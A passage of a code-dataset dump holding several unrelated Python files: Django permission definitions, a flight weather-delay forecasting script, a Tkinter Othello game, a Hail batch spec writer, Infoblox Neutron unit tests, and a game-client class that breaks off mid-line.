t2.provenances, \"provenances\")\n self.assertMetadataEqual(t1, t2)\n assert t1.sequence_length == t2.sequence_length\n assert t1 == t2\n","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":16627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"630801714","text":"# -*- coding: utf-8 -*-\n\"\"\"\nperms.py\n\n.. beschreibt die Rechte innerhalb des dms-Systems:\n Django content Management System\n\nHans Rauch\nhans.rauch@gmx.net\n\nDie Programme des dms-Systems koennen frei genutzt und den spezifischen\nBeduerfnissen entsprechend angepasst werden.\n\n0.01 17.01.2007 Beginn der Arbeit\n0.02 21.01.2007 perm_manage_uer\n\"\"\"\n\nfrom django.utils.translation import ugettext as _\n\nfrom django.utils.translation import ugettext as _\n\nperm_read = { 'name': 'perm_read',\n 'description': _('Lesen: kann Inhalte einsehen/lesen') }\nperm_add = { 'name': 'perm_add',\n 'description': _('Schreiben: kann Inhalte ergänzen/einfügen') }\nperm_add_folderish = { 'name': 'perm_add_folderish',\n 'description': _('Schreiben: kann strukturelle Elemente (z.B. Ordner) ergänzen') }\nperm_edit = { 'name': 'perm_edit',\n 'description': _('Ändern: kann (auch fremde) Inhalte ändern') }\nperm_edit_own = { 'name': 'perm_edit_own',\n 'description': _('Ändern: kann eigene Inhalte ändern') }\nperm_edit_folderish = { 'name': 'perm_edit_folderish',\n 'description': _('Ändern: kann strukturelle Elemente (z.B. Ordner) ändern') }\nperm_manage = { 'name': 'perm_manage',\n 'description': _('Verwalten: kann (auch fremde) Inhalte umbenennen, löschen, ausschneiden, kopieren') }\nperm_manage_own = { 'name': 'perm_manage_own',\n 'description': _('Verwalten: kann eigene Inhalte umbenennen, löschen, ausschneiden, kopieren') }\nperm_manage_folderish = { 'name': 'perm_manage_folderish',\n 'description': _('Verwalten: kann strukturelle Elemente umbenennen, (z.B. Ordner) löschen, ausschneiden, kopieren') }\nperm_manage_site = { 'name': 'perm_manage_site',\n 'description': _('Site-Verwaltung: kann Sites einrichten, ändern, löschen ...') }\nperm_manage_user = { 'name': 'perm_manage_user',\n 'description': _('User-Verwaltung: kann Community-Mitglieder in Arbeitsgruppen etc. aufnehmen') }\nperm_manage_user_new = { 'name': 'perm_manage_user_new',\n 'description': _('User-Verwaltung erweitert: kann Community-Mitglieder eintragen, löschen, freischalten ...') }","sub_path":"perms.py","file_name":"perms.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"74365965","text":"import warnings\nimport itertools\nimport pandas as pd\nimport numpy as np\nimport csv\nimport datetime\nimport statsmodels.api as sm\nimport matplotlib.pyplot as plt\nplt.style.use('fivethirtyeight')\n\nprint(\"Enter Source :\")\nsource = input()\nprint(\"Enter Destination :\")\ndestination = input()\nprint(\"Enter Date :\")\ndat=input()\ndatee = datetime.datetime.strptime(dat, \"%d-%m-%Y\")\nmonth=datee.month\ndate=datee.day\n\nif(month== 6 or month== 7 or month== 8):\n data=pd.read_csv(\"JUN.csv\")\nelif(month== 9 or month== 10 or month== 11):\n data=pd.read_csv(\"SEP.csv\")\nelif(month== 3 or month== 4 or month== 5):\n data=pd.read_csv(\"MAR.csv\")\nelse:\n data=pd.read_csv(\"JAN.csv\")\ndata.query('ORIGIN== \"{}\" and DEST== \"{}\"'.format(source,destination),inplace=True)\ndata = data.loc[:, ~data.columns.str.contains('ORIGIN')]\ndf = data.loc[:, ~data.columns.str.contains('^DEST')]\n\ndata=df\ndf = df[df['WEATHER_DELAY'].notna()]\na=round(df[\"WEATHER_DELAY\"].mean(),1)\ndata=data.replace(np.nan,a)\n\ndata = data.replace(np.nan, 0)\n\na=data[\"WEATHER_DELAY\"].mean()\n\ndata = data.replace(0, a)\n\nlength = len(data.index)\n\ndata = data.set_index(['FL_DATE'])\n# data.head(5)\n\ndata.plot(figsize=(19, 4))\n# plt.show()\n\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 18, 8\ndecomposition = sm.tsa.seasonal_decompose(data, model='additive',freq=3)\nfig = decomposition.plot()\n# plt.show()\n\np = d = q = range(0, 2)\npdq = list(itertools.product(p, d, q))\nseasonal_pdq = [(x[0], x[1], x[2], 12) for x in list(itertools.product(p, d, q))]\n\n# for param in pdq:\n# for param_seasonal in seasonal_pdq:\n# try:\n# mod = sm.tsa.statespace.SARIMAX(data,order=param,seasonal_order=param_seasonal,enforce_stationarity=False,enforce_invertibility=False)\n# results = mod.fit()\n# print('ARIMA{}x{}12 - AIC:{}'.format(param, param_seasonal, results.aic))\n# except:\n# continue\n\nmod = sm.tsa.statespace.SARIMAX(data,\n order=(0, 0, 1),\n seasonal_order=(0, 1, 1,12),\n enforce_stationarity=False,\n enforce_invertibility=False)\nresults=mod.fit()\n\nresults.plot_diagnostics(figsize=(18, 8))\n# plt.show()\n\nstart=data.index[0]\n\npred = results.get_prediction(start, dynamic=False)\npred_ci = pred.conf_int()\nax = data[start:].plot(label='observed')\npred.predicted_mean.plot(ax=ax, label='One-step ahead Forecast', alpha=.7, figsize=(14, 4))\nax.fill_between(pred_ci.index,\n pred_ci.iloc[:, 0],\n pred_ci.iloc[:, 1], color='k', alpha=.2)\nax.set_xlabel('Time')\nax.set_ylabel('WEATHER_DELAY')\nplt.legend()\nplt.ylim(-5,40)\n# plt.show()\n\npred_uc = results.get_forecast(steps=92)\npred_ci = pred_uc.conf_int()\nax = data.plot(label='observed', figsize=(14, 4))\npred_uc.predicted_mean.plot(ax=ax, label='Forecast')\nax.fill_between(pred_ci.index,\n pred_ci.iloc[:, 0],\n pred_ci.iloc[:, 1], color='k', alpha=.25)\nax.set_xlabel('FL_DATE')\nax.set_ylabel('WEATHER_DELAY')\nplt.legend()\n# plt.show()\n\ndata_forecasted = pred.predicted_mean\ndata_truth = data[start:]\n\ndata_forecasted = pred.predicted_mean\n# data_forecasted.head(12)\n\n# data_truth.head(5)\n\n# pred_ci.head(5)\n\nforecast = pred_uc.predicted_mean\n\nif(month==\"January\"):\n predict=date\nelif(month==\"February\"):\n predict=31+date\nelif(month==\"Macrh\"):\n predict=date\nelif(month==\"April\"):\n predict=31+date\nelif(month==\"May\"):\n predict=61+date\nelif(month==\"June\"):\n predict=date\nelif(month==\"July\"):\n predict=30+date\nelif(month==\"August\"):\n predict=61+date\nelif(month==\"September\"):\n predict=date\nelif(month==\"October\"):\n predict=30+date\nelif(month==\"November\"):\n predict=61+date\nelse:\n predict=59+date\n\npredict=predict+length\nresult = forecast.get(key = predict)\n\nif(result<0):\n frac=str(result)\n for digit in frac:\n if digit !='-'and digit!='0' and digit!=\".\":\n lokes=float(\"0.{}\".format(digit))\n print(lokes)\n break\nelse:\n print(round(result,1))\n\n","sub_path":"P'air Demora/Seasons/Departure/updated_final_weather.py","file_name":"updated_final_weather.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"455249188","text":"# -*- coding: UTF-8 -*-\n\nfrom Tkinter import *\nfrom Board import Board\nfrom DataTypes import SquareType, GameStatus\nfrom Move import Move\nfrom Game import Game\nfrom copy import deepcopy\n\n\nDEFAULT_FONT = ('Helvetica', 13)\nGridSize = 60 # size in pixels of each square on playing board\nPieceSize = GridSize - 8 # size in pixels of each playing piece\nBoardColor = '#008000' # color of board - medium green\nHighlightColor = '#00a000'\nOffset = 2 # offset in pixels of board from edge of canvas\nPlayerNames = {SquareType.EMPTY: '',\n SquareType.BLACK: 'Negras',\n SquareType.WHITE: 'Blancas'} # Names of players as displayed to the user\nPlayerColors = {SquareType.EMPTY: '',\n SquareType.BLACK: '#000000',\n SquareType.WHITE: '#ffffff'} # rgb values for black, white\nMoveDelay = 500\n\n\nclass InteractiveGame(Game):\n\n class Square:\n \"\"\"Holds data related to a square of the board\"\"\"\n def __init__(self, x, y):\n self.x, self.y = x, y # location of square (in range 0-7)\n self.player = SquareType.EMPTY # number of player occupying square\n self.squareId = 0 # canvas id of rectangle\n self.pieceId = 0 # canvas id of circle\n\n def __init__(self, players=()):\n \"\"\"Initialize the interactive game board. An optional list of\n computer opponent strategies can be supplied which will be\n displayed in a menu to the user.\n \"\"\"\n # create a Tk frame to hold the gui\n self._frame = Frame()\n # set the window title\n self._frame.master.wm_title('Othello')\n # build the board on a Tk drawing canvas\n size = 8 * GridSize # make room for 8x8 squares\n self._canvas = Canvas(self._frame, width=size, height=size)\n self._canvas.pack()\n # add button for starting game\n self._menuFrame = Frame(self._frame)\n self._menuFrame.pack(expand=Y, fill=X)\n self._newGameButton = Button(self._menuFrame, text='Nuevo Juego', command=self._new_game)\n self._newGameButton.pack(side=LEFT, padx=5)\n Label(self._menuFrame).pack(side=LEFT, expand=Y, fill=X)\n # add menus for choosing player strategies\n self._players = {} # strategies, indexed by name\n option_menu_args = [self._menuFrame, 0, 'Humano']\n for player in players:\n name = player.name\n option_menu_args.append(name)\n self._players[name] = player\n self._strategyVars = {SquareType.EMPTY: ''} # dummy entry so strategy indexes match player numbers\n # make an menu for each player\n for n in (SquareType.BLACK, SquareType.WHITE):\n label = Label(self._menuFrame, anchor=E, text='%s:' % PlayerNames[n])\n label.pack(side=LEFT, padx=10)\n var = StringVar()\n var.set('Humano')\n # var.trace('w', self._player_menu_callback)\n self._strategyVars[n] = var\n option_menu_args[1] = var\n menu = apply(OptionMenu, option_menu_args)\n menu.pack(side=LEFT)\n # add a label for showing the status\n self._status = Label(self._frame, relief=SUNKEN, anchor=W)\n self._status.pack(expand=Y, fill=X)\n # map the frame in the main Tk window\n self._frame.pack()\n # track the board state\n self._squares = {} # Squares indexed by (x,y)\n self._enabledSpaces = () # list of valid moves as returned by Board.get_possible_moves()\n for x in xrange(8):\n for y in xrange(8):\n square = self._squares[x, y] = InteractiveGame.Square(x, y)\n x0 = x * GridSize + Offset\n y0 = y * GridSize + Offset\n square.squareId = self._canvas.create_rectangle(x0, y0,\n x0 + GridSize, y0 + GridSize,\n fill=BoardColor)\n\n # _afterId tracks the current 'after' proc so it can be cancelled if needed\n self._afterId = 0\n\n # ready to go - start a new game!\n super(InteractiveGame, self).__init__()\n\n def _new_game(self):\n self._game_status = GameStatus.PLAYING\n self._move_list = []\n self._active_players = {}\n for color in (SquareType.BLACK, SquareType.WHITE):\n # noinspection PyUnresolvedReferences\n self._active_players[color] = self._players.get(self._strategyVars[color].get())\n if self._active_players[color]:\n self._active_players[color] = self._active_players[color](color)\n self._last_move = None\n # delete existing pieces\n for s in self._squares.values():\n if s.pieceId:\n self._canvas.delete(s.pieceId)\n s.pieceId = 0\n # create a new board state and display it\n self._state = Board(8, 8)\n self._turn = SquareType.BLACK\n self._update_board()\n\n def play(self):\n \"\"\"Play the game! (this is the only public method)\"\"\"\n self._frame.mainloop()\n\n def _update_board(self):\n # reset any enabled spaces\n self._disable_spaces()\n # cancel 'after' proc, if any\n if self._afterId:\n self._frame.after_cancel(self._afterId)\n self._afterId = 0\n # update canvas display to match current state\n for x in xrange(8):\n for y in xrange(8):\n square = self._squares[(x, y)]\n if square.pieceId:\n if square.player != self._state.get_position(x, y):\n self._canvas.itemconfigure(square.pieceId, fill=PlayerColors[self._state.get_position(x, y)])\n else:\n if self._state.get_position(x, y) != SquareType.EMPTY:\n x0 = x * GridSize + Offset + 4\n y0 = y * GridSize + Offset + 4\n square.pieceId = self._canvas.create_oval(x0, y0,\n x0 + PieceSize, y0 + PieceSize,\n fill=PlayerColors[self._state.get_position(x, y)])\n\n ai = self._active_players[self._turn]\n if self._game_status == GameStatus.PLAYING:\n if ai:\n self._process_ai(ai)\n else:\n self._process_human()\n else:\n self._game_over()\n\n def _process_ai(self, ai):\n if self._state.get_possible_moves(self._turn):\n self._last_move = ai.move(deepcopy(self._state), self._last_move)\n self._do_move(self._last_move, self._turn)\n else:\n self._last_move = None\n self._pass_turn()\n self._afterId = self._frame.after(MoveDelay, self._update_board)\n\n def _process_human(self):\n if self._state.get_possible_moves(self._turn):\n self._enabledSpaces = self._state.get_possible_moves(self._turn)\n self._enable_spaces(self._turn)\n else:\n self._last_move = None\n self._pass_turn()\n self._update_board()\n\n def _select_space(self, x, y, color):\n self._last_move = Move(x, y)\n self._do_move(self._last_move, color)\n self._pass_turn()\n self._update_board()\n\n def _enable_spaces(self, color):\n # make spaces active where a legal move is possible (only used for human players)\n for move in self._enabledSpaces:\n row = move.get_row()\n col = move.get_col()\n square_id = self._squares[row, col].squareId\n self._canvas.tag_bind(square_id, '',\n lambda e, x=row, y=col, _color=color: self._select_space(x, y, _color))\n self._canvas.tag_bind(square_id, '',\n lambda e, c=self._canvas, _id=square_id: c.itemconfigure(_id, fill=HighlightColor))\n self._canvas.tag_bind(square_id, '',\n lambda e, c=self._canvas, _id=square_id: c.itemconfigure(_id, fill=BoardColor))\n\n def _disable_spaces(self):\n # remove event handlers for all enabled spaces\n for move in self._enabledSpaces:\n x = move.get_row()\n y = move.get_col()\n if x == -1:\n break\n square_id = self._squares[x, y].squareId\n self._canvas.tag_unbind(square_id, '')\n self._canvas.tag_unbind(square_id, '')\n self._canvas.tag_unbind(square_id, '')\n self._canvas.itemconfigure(square_id, fill=BoardColor)\n self._enabledSpaces = ()\n\n def _game_over(self):\n self._log_to_file()\n top = Toplevel()\n top.title('Fin del juego')\n msg_text = 'El juego finalizó por un error.'\n if self._game_status == GameStatus.WHITE_WINS:\n msg_text = 'Gana el jugador con las piezas blancas.'\n elif self._game_status == GameStatus.BLACK_WINS:\n msg_text = 'Gana el jugador con las piezas negras.'\n elif self._game_status == GameStatus.DRAW:\n msg_text = 'El juego terminó en empate.'\n pop_up_msg = Message(top, text=msg_text)\n pop_up_msg.pack()\n\n button = Button(top, text='Ok', command=top.destroy)\n button.pack()\n\nif __name__ == '__main__':\n from Players.RandomPlayer import RandomPlayer\n from Players.GreedyPlayer import GreedyPlayer\n t = InteractiveGame([RandomPlayer, GreedyPlayer])\n t.play()\n","sub_path":"Lab1/InteractiveGame.py","file_name":"InteractiveGame.py","file_ext":"py","file_size_in_byte":9605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"614663918","text":"import collections\nimport logging\nfrom typing import Dict, Tuple\n\nimport sortedcontainers\nfrom typing_extensions import Literal\n\nfrom hailtop.utils import secret_alnum_string\n\nlog = logging.getLogger('batch.spec_writer')\n\nJOB_TOKEN_CACHE: Dict[int, sortedcontainers.SortedSet] = collections.defaultdict(\n lambda: sortedcontainers.SortedSet(key=lambda t: t[1])\n)\nJOB_TOKEN_CACHE_MAX_BATCHES = 100\nJOB_TOKEN_CACHE_MAX_BUNCHES_PER_BATCH = 100\n\n\nclass SpecWriter:\n byteorder: Literal['little', 'big'] = 'little'\n signed = False\n bytes_per_offset = 8\n\n @staticmethod\n def get_index_file_offsets(job_id, start_job_id):\n assert job_id >= start_job_id\n idx_start = SpecWriter.bytes_per_offset * (job_id - start_job_id)\n idx_end = (\n idx_start + 2 * SpecWriter.bytes_per_offset\n ) - 1 # `end` parameter in gcs is inclusive of last byte to return\n return (idx_start, idx_end)\n\n @staticmethod\n def get_spec_file_offsets(offsets):\n assert len(offsets) == 2 * SpecWriter.bytes_per_offset\n spec_start = int.from_bytes(offsets[:8], byteorder=SpecWriter.byteorder, signed=SpecWriter.signed)\n next_spec_start = int.from_bytes(offsets[8:], byteorder=SpecWriter.byteorder, signed=SpecWriter.signed)\n return (spec_start, next_spec_start - 1) # `end` parameter in gcs is inclusive of last byte to return\n\n @staticmethod\n async def get_token_start_id(db, batch_id, job_id) -> Tuple[str, int]:\n in_batch_cache = JOB_TOKEN_CACHE[batch_id]\n index = in_batch_cache.bisect_key_right(job_id) - 1\n assert index < len(in_batch_cache)\n if index >= 0:\n token, start, end = in_batch_cache[index]\n if job_id in range(start, end):\n return (token, start)\n\n token, start_job_id, end_job_id = await SpecWriter._get_token_start_id_and_end_id(db, batch_id, job_id)\n\n # It is least likely that old batches or early bunches in a given\n # batch will be needed again\n if len(JOB_TOKEN_CACHE) == JOB_TOKEN_CACHE_MAX_BATCHES:\n JOB_TOKEN_CACHE.pop(min(JOB_TOKEN_CACHE.keys()))\n elif len(JOB_TOKEN_CACHE[batch_id]) == JOB_TOKEN_CACHE_MAX_BUNCHES_PER_BATCH:\n JOB_TOKEN_CACHE[batch_id].pop(0)\n\n JOB_TOKEN_CACHE[batch_id].add((token, start_job_id, end_job_id))\n\n return (token, start_job_id)\n\n @staticmethod\n async def _get_token_start_id_and_end_id(db, batch_id, job_id) -> Tuple[str, int, int]:\n bunch_record = await db.select_and_fetchone(\n '''\nSELECT\nbatch_bunches.start_job_id,\nbatch_bunches.token,\n(SELECT start_job_id FROM batch_bunches WHERE batch_id = %s AND start_job_id > %s ORDER BY start_job_id LIMIT 1) AS next_start_job_id,\nbatches.n_jobs\nFROM batch_bunches\nJOIN batches ON batches.id = batch_bunches.batch_id\nWHERE batch_bunches.batch_id = %s AND batch_bunches.start_job_id <= %s\nORDER BY batch_bunches.start_job_id DESC\nLIMIT 1;\n''',\n (batch_id, job_id, batch_id, job_id),\n 'get_token_start_id',\n )\n token = bunch_record['token']\n start_job_id = bunch_record['start_job_id']\n end_job_id = bunch_record['next_start_job_id'] or (bunch_record['n_jobs'] + 1)\n return (token, start_job_id, end_job_id)\n\n def __init__(self, file_store, batch_id):\n self.file_store = file_store\n self.batch_id = batch_id\n self.token = secret_alnum_string(16)\n\n self._data_bytes = bytearray()\n self._offsets_bytes = bytearray()\n self._n_elements = 0\n\n def add(self, data):\n data_bytes = data.encode('utf-8')\n start = len(self._data_bytes)\n\n self._offsets_bytes.extend(start.to_bytes(8, byteorder=SpecWriter.byteorder, signed=SpecWriter.signed))\n self._data_bytes.extend(data_bytes)\n\n self._n_elements += 1\n\n async def write(self):\n end = len(self._data_bytes)\n self._offsets_bytes.extend(end.to_bytes(8, byteorder=SpecWriter.byteorder, signed=SpecWriter.signed))\n\n await self.file_store.write_spec_file(\n self.batch_id, self.token, bytes(self._data_bytes), bytes(self._offsets_bytes)\n )\n return self.token\n","sub_path":"batch/batch/spec_writer.py","file_name":"spec_writer.py","file_ext":"py","file_size_in_byte":4202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"163270850","text":"# Copyright (c) 2015 Infoblox Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport unittest.mock as mock\n\nfrom neutron.tests.unit import testlib_api\nfrom neutron_lib import context\n\nfrom networking_infoblox.neutron.common import constants as const\nfrom networking_infoblox.neutron.common import grid\nfrom networking_infoblox.neutron.common import mapping\nfrom networking_infoblox.neutron.common import member\nfrom networking_infoblox.neutron.common import utils\nfrom networking_infoblox.neutron.db import infoblox_db as dbi\n\nfrom networking_infoblox.tests import base\n\n\nDELIMITER = '^'\n\n\nclass GridMappingTestCase(base.TestCase, testlib_api.SqlTestCase):\n\n def setUp(self):\n\n super(GridMappingTestCase, self).setUp()\n self.ctx = context.get_admin_context()\n\n self.test_grid_config = grid.GridConfiguration(self.ctx)\n self.test_grid_config.gm_connector = mock.Mock()\n self.test_grid_config.grid_id = 100\n self.test_grid_config.grid_name = \"Test Grid 1\"\n self.test_grid_config.grid_master_host = '192.168.1.7'\n self.test_grid_config.grid_master_name = 'nios-7.2.0-master.com'\n self.test_grid_config.admin_user_name = 'admin'\n self.test_grid_config.admin_password = 'infoblox'\n self.test_grid_config.wapi_version = '2.2'\n self.member_mgr = member.GridMemberManager(self.test_grid_config)\n\n def _create_members_with_cloud(self):\n member_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_MEMBERS_WITH_CLOUD)\n license_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_MEMBER_LICENSES)\n\n self.member_mgr._discover_members = mock.Mock(return_value=member_json)\n self.member_mgr._discover_member_licenses = mock.Mock(\n return_value=license_json)\n\n self.member_mgr._discover_dns_settings = mock.Mock(return_value=[])\n self.member_mgr._discover_dhcp_settings = mock.Mock(return_value=[])\n\n self.member_mgr.sync()\n\n def _create_members_without_cloud(self):\n member_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_MEMBERS_WITHOUT_CLOUD)\n self.member_mgr._discover_members = mock.Mock()\n self.member_mgr._discover_members.return_value = member_json\n\n self.member_mgr._discover_member_licenses = mock.Mock()\n self.member_mgr._discover_member_licenses.return_value = None\n\n self.member_mgr.sync()\n\n def _validate_network_views(self, network_view_json):\n db_network_views = dbi.get_network_views(self.ctx.session)\n self.assertEqual(len(network_view_json), len(db_network_views))\n expected = [nv['name'] for nv in network_view_json]\n actual = utils.get_values_from_records('network_view',\n db_network_views)\n self.assertEqual(expected, actual)\n\n def _validate_mapping_conditions(self, network_view_json):\n db_network_views = dbi.get_network_views(self.ctx.session)\n db_mapping_conditions = dbi.get_mapping_conditions(self.ctx.session)\n\n expected_conditions = dict((nv['name'], nv['extattrs'])\n for nv in network_view_json\n if nv['extattrs'])\n expected_condition_rows = []\n for netview in expected_conditions:\n netview_row = utils.find_one_in_list('network_view', netview,\n db_network_views)\n netview_id = netview_row.id\n for condition_name in expected_conditions[netview]:\n if 'Mapping' not in condition_name:\n continue\n values = expected_conditions[netview][condition_name]['value']\n if not isinstance(values, list):\n expected_condition_rows.append(netview_id + DELIMITER +\n condition_name + DELIMITER +\n values)\n continue\n for value in values:\n expected_condition_rows.append(netview_id + DELIMITER +\n condition_name + DELIMITER +\n value)\n\n actual_condition_rows = utils.get_composite_values_from_records(\n ['network_view_id', 'neutron_object_name', 'neutron_object_value'],\n db_mapping_conditions)\n self.assertEqual(set(expected_condition_rows),\n set(actual_condition_rows))\n\n def _validate_member_mapping(self, network_view_json, network_json):\n db_members = dbi.get_members(self.ctx.session,\n grid_id=self.test_grid_config.grid_id)\n db_network_views = dbi.get_network_views(self.ctx.session)\n db_mapping_members = dbi.get_mapping_members(self.ctx.session)\n db_service_members = dbi.get_service_members(self.ctx.session)\n\n gm_row = utils.find_one_in_list('member_type',\n const.MEMBER_TYPE_GRID_MASTER,\n db_members)\n gm_member_id = gm_row.member_id\n\n dedicated_delegation_members = dict()\n for netview in network_view_json:\n netview_name = netview['name']\n if (netview.get('cloud_info') and\n netview.get('cloud_info').get('delegated_member')):\n delegated_member = utils.find_one_in_list(\n 'member_name',\n netview['cloud_info']['delegated_member']['name'],\n db_members)\n dedicated_delegation_members[netview_name] = (\n delegated_member.member_id)\n\n expected_mapping_members = []\n expected_service_members = []\n\n # get delegated authority members from network views\n for netview in dedicated_delegation_members:\n netview_row = utils.find_one_in_list('network_view', netview,\n db_network_views)\n netview_id = netview_row.id\n authority_member = dedicated_delegation_members[netview]\n mapping_relation = const.MAPPING_RELATION_DELEGATED\n mapping_row_info = (netview_id + DELIMITER + authority_member +\n DELIMITER + mapping_relation)\n expected_mapping_members.append(mapping_row_info)\n\n # get authority members from networks\n for network in network_json:\n netview = network['network_view']\n netview_row = utils.find_one_in_list('network_view', netview,\n db_network_views)\n netview_id = netview_row.id\n\n mapping_relation = const.MAPPING_RELATION_GM_OWNED\n authority_member = gm_member_id\n if netview in dedicated_delegation_members:\n authority_member = dedicated_delegation_members[netview]\n mapping_relation = const.MAPPING_RELATION_DELEGATED\n elif (network.get('cloud_info') and\n network['cloud_info'].get('delegated_member')):\n delegated_member = utils.find_one_in_list(\n 'member_name',\n network['cloud_info']['delegated_member']['name'],\n db_members)\n authority_member = delegated_member.member_id\n mapping_relation = const.MAPPING_RELATION_DELEGATED\n\n mapping_row_info = (netview_id + DELIMITER + authority_member +\n DELIMITER + mapping_relation)\n if mapping_row_info not in expected_mapping_members:\n expected_mapping_members.append(mapping_row_info)\n\n if network.get('members'):\n for m in network['members']:\n if m['_struct'] == 'dhcpmember':\n dhcp_member = utils.find_one_in_list(\n 'member_name', m['name'], db_members)\n mapping_row_info = (netview_id + DELIMITER +\n dhcp_member.member_id + DELIMITER +\n const.SERVICE_TYPE_DHCP)\n if mapping_row_info not in expected_service_members:\n expected_service_members.append(mapping_row_info)\n\n if network.get('options'):\n dns_membe_ips = []\n for option in network['options']:\n if option.get('name') == 'domain-name-servers':\n option_values = option.get('value')\n if option_values:\n dns_membe_ips = option_values.split(',')\n break\n for membe_ip in dns_membe_ips:\n dns_member = utils.find_one_in_list(\n 'member_ip', membe_ip, db_members)\n mapping_row_info = (netview_id + DELIMITER +\n dns_member.member_id + DELIMITER +\n const.SERVICE_TYPE_DNS)\n if mapping_row_info not in expected_service_members:\n expected_service_members.append(mapping_row_info)\n\n actual_mapping_members = utils.get_composite_values_from_records(\n ['network_view_id', 'member_id', 'mapping_relation'],\n db_mapping_members)\n self.assertEqual(set(expected_mapping_members),\n set(actual_mapping_members))\n\n actual_service_members = utils.get_composite_values_from_records(\n ['network_view_id', 'member_id', 'service'],\n db_service_members)\n self.assertEqual(set(expected_service_members),\n set(actual_service_members))\n\n def test_sync_for_cloud(self):\n self._create_members_with_cloud()\n\n mapping_mgr = mapping.GridMappingManager(self.test_grid_config)\n mapping_mgr._sync_nios_for_network_view = mock.Mock()\n\n network_view_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_NETWORKVIEW_WITH_CLOUD)\n mapping_mgr._discover_network_views = mock.Mock()\n mapping_mgr._discover_network_views.return_value = network_view_json\n\n network_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_NETWORK_WITH_CLOUD)\n mapping_mgr._discover_networks = mock.Mock()\n mapping_mgr._discover_networks.return_value = network_json\n\n dnsview_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_DNS_VIEW)\n mapping_mgr._discover_dns_views = mock.Mock()\n mapping_mgr._discover_dns_views.return_value = dnsview_json\n\n mapping_mgr.sync()\n\n # validate network views, mapping conditions, mapping members\n self._validate_network_views(network_view_json)\n self._validate_mapping_conditions(network_view_json)\n self._validate_member_mapping(network_view_json, network_json)\n\n def test_sync_for_without_cloud(self):\n self._create_members_with_cloud()\n\n mapping_mgr = mapping.GridMappingManager(self.test_grid_config)\n mapping_mgr._sync_nios_for_network_view = mock.Mock()\n\n network_view_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_NETWORKVIEW_WITHOUT_CLOUD)\n mapping_mgr._discover_network_views = mock.Mock()\n mapping_mgr._discover_network_views.return_value = network_view_json\n\n network_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_NETWORK_WITHOUT_CLOUD)\n mapping_mgr._discover_networks = mock.Mock()\n mapping_mgr._discover_networks.return_value = network_json\n\n dnsview_json = self.connector_fixture.get_object(\n base.FixtureResourceMap.FAKE_DNS_VIEW)\n mapping_mgr._discover_dns_views = mock.Mock()\n mapping_mgr._discover_dns_views.return_value = dnsview_json\n\n mapping_mgr.sync()\n\n # validate network views, mapping conditions, mapping members\n self._validate_network_views(network_view_json)\n self._validate_mapping_conditions(network_view_json)\n self._validate_member_mapping(network_view_json, network_json)\n","sub_path":"networking_infoblox/tests/unit/common/test_mapping.py","file_name":"test_mapping.py","file_ext":"py","file_size_in_byte":13000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"430164795","text":"import numpy as np\n\nfrom PyEngine3D.App.GameBackend import Keyboard\nfrom PyEngine3D.Common import logger\nfrom PyEngine3D.Utilities import Singleton\n\n\nclass GameClient(Singleton):\n def __init__(self):\n self.core_manager = None\n self.game_backend = None\n self.resource_manager = None\n self.scene_manager = None\n self.player = None\n self.jump = False\n self.vel = 0.0\n\n def initialize(self, core_manager):\n logger.info(\"GameClient::initialize\")\n\n self.core_manager = core_manager\n self.game_backend = core_manager.game_backend\n self.resource_manager = core_manager.resource_manager\n self.scene_manager = core_manager.scene_manager\n\n model = self.resource_manager.get_model(\"skeletal\")\n if model is not None:\n main_camera = self.scene_manager.main_camera\n pos = main_camera.transform.pos - main_camera.transform.front * 5.0\n self.player = self.scene_manager.add_object(model=model, pos=pos)\n self.player.transform.set_scale(0.01)\n\n def exit(self):\n logger.info(\"GameClient::exit\")\n self.scene_manager.delete_object(self.player.name)\n\n def update_player(self, delta):\n keydown = self.game_backend.get_keyboard_pressed()\n mouse_delta = self.game_backend.mouse_delta\n btn_left, btn_middle, btn_right = self.game_backend.get_mouse_pressed()\n camera = self.scene_manager.main_camera\n\n move_speed = 10.0 * delta\n rotation_speed = 0.3141592 * delta\n\n if keydown[Keyboard.LSHIFT]:\n move_speed *= 4.0\n\n if btn_left or btn_right:\n self.player.transform.rotation_yaw(-mouse_delta[0] * rotation_speed)\n camera.transform.rotation_pitch(mouse_delta[1] * rotation_speed)\n\n # ㅕpdate rotation matrix before translation\n self.player.transform.update_transform()\n camera.transform.set_yaw(self.player.transform.get_yaw() + 3.141592)\n camera.transform.update_transform(update_inverse_matrix=True)\n\n if keydown[Keyboard.W] or self.game_backend.wheel_up:\n self.player.transform.move_front(move_speed)\n elif keydown[Keyboard.S] or self.game_backend.wheel_down:\n self.player.transform.move_front(-move_speed)\n\n if keydown[Keyboard.A]:\n self.player.transform.move_left(move_speed)\n elif keydown[Keyboard.D]:\n self.player.transform.move_left(-move_speed)\n\n # Jump\n player_pos = self.player.transform.get_pos()\n\n if not self.jump and keydown[Keyboard.SPACE]:\n self.jump = True\n self.vel = 0.5\n\n if self.jump or 